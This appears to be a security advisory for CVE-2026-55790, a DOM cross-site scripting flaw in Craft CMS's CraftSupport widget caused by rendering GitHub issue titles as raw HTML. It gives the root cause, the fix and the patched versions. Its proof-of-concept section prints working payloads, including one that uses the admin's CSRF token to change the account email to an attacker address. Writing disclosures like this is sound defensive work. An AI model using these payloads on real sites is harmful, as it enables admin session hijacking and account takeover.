highCVE-2026-55790Jul 6, 2026

CVE-2026-55790: Craft CMS DOM XSS via Poisoned GitHub Issue Title in CraftSupport Widget

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A Craft CMS admin's control panel can be hijacked by anyone with a GitHub account who plants a JavaScript payload in a craftcms/cms issue title, which the CraftSupport widget renders directly as raw…

Packagecraftcms/cms
Ecosystemcomposer
Affected>= 5.0.0-RC1, < 5.9.22
Fixed in5.9.23

The problem

The CraftSupport widget's 'Give feedback' screen calls the GitHub Issues API, takes the raw issue title from the JSON response, and injects it into the DOM using jQuery's html: option. This sets innerHTML directly, so any HTML in the title is parsed and executed by the browser.

Because GitHub returns issue titles as plain JSON strings with no HTML encoding, and because Craft adds no sanitization layer before rendering them, any attacker who can open a GitHub issue controls what script runs in the admin's session. The widget is only shown to admins, but the attacker needs no Craft account at all.

Proof of concept

A working proof-of-concept for CVE-2026-55790 in craftcms/cms, with the exact payload below.

html
<!-- 1. Attacker: open https://github.com/craftcms/cms/issues/new and set this as the issue title -->
<img src=x onerror=alert(document.domain)> cannot upload files

<!-- 2. Victim: open the Craft control panel dashboard,
        open the CraftSupport widget, click "Give feedback",
        and type "cannot upload files" in the search box.
   Result: alert(document.domain) fires in the admin session.
   For a real attack, replace alert() with a fetch() that
   exfiltrates Craft.csrfTokenValue or sends an action request: -->
<img src=x onerror="fetch('/actions/users/save-user',{method:'POST',headers:{'X-CSRF-Token':Craft.csrfTokenValue},body:new URLSearchParams({userId:currentUser.id,email:'attacker@evil.com'})})"> cannot upload files

The root cause is a single line in FeedbackScreen inside CraftSupportWidget.js. The $('<a>', { html: ... + this.getSearchResultText(results[i]) }) call uses jQuery's html: shorthand, which maps directly to innerHTML. getSearchResultText returns result.title verbatim from the GitHub API response, so any HTML tags in the title are parsed as markup, not text.

The patch replaces the html: property with a safe alternative: the anchor element is built without the html: key, and the title text is appended with jQuery's .text() method (or Craft's own escapeHtml helper), which sets textContent instead of innerHTML.

That one change is the entire fix. The diff is small (+10/-4 lines) because only the result-link construction block needed changing.

The fix

Update craftcms/cms to 5.9.23 (or 4.17.16 for Craft 4 sites). Run composer require craftcms/cms:^5.9.23 or use the Craft control panel updater. If an immediate update is not possible, disabling the CraftSupport widget on the dashboard removes the attack surface entirely.

Reported by angrybrad.

References: [1][2][3][4]

Related research